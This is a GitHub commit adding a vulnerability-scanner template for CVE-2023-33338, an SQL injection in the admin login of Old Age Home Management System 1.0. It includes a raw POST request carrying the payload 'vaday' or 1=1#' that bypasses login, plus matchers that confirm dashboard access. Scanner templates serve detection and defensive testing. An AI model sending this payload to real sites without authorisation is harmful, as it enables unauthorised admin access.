Create CVE-2023-33338.yaml

patch-1
Harsh Yadav 2023-06-29 12:47:34 +05:30 committed by GitHub
parent 4ee7a746bd
commit 6d2b6f13c9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: CVE-2023-33338
info:
name: Old Age Home Management System - SQL Injection
author: Harsh
severity: critical
description: |
Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter.
reference:
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ANUJ-KUMAR/Old-Age-Home-Management-2022-2023-1.0
- https://nvd.nist.gov/vuln/detail/CVE-2023-33338
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-33338
cwe-id: CWE-89
metadata:
verified: true
tags: cve,cve2023,oahms,sql,unauthenticated,critical
http:
- raw:
- |
POST /oahms/admin/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=vaday%27+or+1%3D1%23&password=password&submit=
cookie-reuse: true
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Admin")'
- 'contains(body, "Old Age Home Management System|| Dashboard")'
condition: and